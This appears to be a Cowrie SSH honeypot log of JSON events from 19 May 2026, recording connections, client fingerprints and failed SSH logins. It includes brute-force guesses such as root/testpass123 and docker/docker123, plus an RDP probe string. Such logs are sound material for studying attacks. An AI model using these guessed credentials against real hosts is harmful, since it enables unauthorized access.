{"eventid":"cowrie.login.failed","username":"root","password":"ekmzyf","message":"login attempt [root/ekmzyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:44.010181Z","src_ip":"103.27.238.120","session":"350840624822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:45.271044Z","src_ip":"103.27.238.120","session":"350840624822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:45:53.552309Z","src_ip":"176.32.39.21","session":"45bee581a0da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":51651,"dst_ip":"159.203.135.109","dst_port":22,"session":"c691db05c3d1","protocol":"ssh","message":"New connection: 167.172.81.52:51651 (159.203.135.109:22) [session: c691db05c3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:13.516621Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:13.521301Z","src_ip":"167.172.81.52","session":"c691db05c3d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:13.525032Z","src_ip":"167.172.81.52","session":"c691db05c3d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":47038,"dst_ip":"159.203.135.109","dst_port":22,"session":"592ad665edf8","protocol":"ssh","message":"New connection: 38.93.206.2:47038 (159.203.135.109:22) [session: 592ad665edf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:38.295780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:38.299139Z","src_ip":"38.93.206.2","session":"592ad665edf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:38.368095Z","src_ip":"38.93.206.2","session":"592ad665edf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20052005","message":"login attempt [root/20052005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:38.635809Z","src_ip":"38.93.206.2","session":"592ad665edf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:39.715571Z","src_ip":"38.93.206.2","session":"592ad665edf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35988,"dst_ip":"159.203.135.109","dst_port":22,"session":"863f35ee0aa9","protocol":"ssh","message":"New connection: 192.109.200.237:35988 (159.203.135.109:22) [session: 863f35ee0aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:43.551321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:43.555632Z","src_ip":"192.109.200.237","session":"863f35ee0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:43.638590Z","src_ip":"192.109.200.237","session":"863f35ee0aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:51.551764Z","src_ip":"192.109.200.237","session":"863f35ee0aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38622,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3d7ccd30e38","protocol":"ssh","message":"New connection: 80.94.92.184:38622 (159.203.135.109:22) [session: c3d7ccd30e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:59.605145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:59.828660Z","src_ip":"80.94.92.184","session":"c3d7ccd30e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:46:59.831890Z","src_ip":"80.94.92.184","session":"c3d7ccd30e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:00.516365Z","src_ip":"80.94.92.184","session":"c3d7ccd30e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:01.673099Z","src_ip":"80.94.92.184","session":"c3d7ccd30e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45716,"dst_ip":"159.203.135.109","dst_port":22,"session":"e36d136e48d5","protocol":"ssh","message":"New connection: 192.109.200.237:45716 (159.203.135.109:22) [session: e36d136e48d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:17.110438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:17.115155Z","src_ip":"192.109.200.237","session":"e36d136e48d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:17.197520Z","src_ip":"192.109.200.237","session":"e36d136e48d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:17.492559Z","src_ip":"192.109.200.237","session":"e36d136e48d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:18.577793Z","src_ip":"192.109.200.237","session":"e36d136e48d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59480,"dst_ip":"159.203.135.109","dst_port":22,"session":"d38b7f0aa4ec","protocol":"ssh","message":"New connection: 192.109.200.237:59480 (159.203.135.109:22) [session: d38b7f0aa4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:20.265316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:20.269159Z","src_ip":"192.109.200.237","session":"d38b7f0aa4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:20.351180Z","src_ip":"192.109.200.237","session":"d38b7f0aa4ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:20.596402Z","src_ip":"192.109.200.237","session":"d38b7f0aa4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:21.680238Z","src_ip":"192.109.200.237","session":"d38b7f0aa4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59494,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a4d94ae47d","protocol":"ssh","message":"New connection: 192.109.200.237:59494 (159.203.135.109:22) [session: c3a4d94ae47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:23.394412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:23.399865Z","src_ip":"192.109.200.237","session":"c3a4d94ae47d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:23.484766Z","src_ip":"192.109.200.237","session":"c3a4d94ae47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:23.742381Z","src_ip":"192.109.200.237","session":"c3a4d94ae47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:24.914433Z","src_ip":"192.109.200.237","session":"c3a4d94ae47d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59502,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ed949cdda9","protocol":"ssh","message":"New connection: 192.109.200.237:59502 (159.203.135.109:22) [session: 24ed949cdda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:26.408556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:26.412906Z","src_ip":"192.109.200.237","session":"24ed949cdda9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:26.506611Z","src_ip":"192.109.200.237","session":"24ed949cdda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:26.924645Z","src_ip":"192.109.200.237","session":"24ed949cdda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:28.008694Z","src_ip":"192.109.200.237","session":"24ed949cdda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59514,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b41103576b9","protocol":"ssh","message":"New connection: 192.109.200.237:59514 (159.203.135.109:22) [session: 6b41103576b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:29.627117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:29.631663Z","src_ip":"192.109.200.237","session":"6b41103576b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:29.713542Z","src_ip":"192.109.200.237","session":"6b41103576b9","protocol":"ssh"}
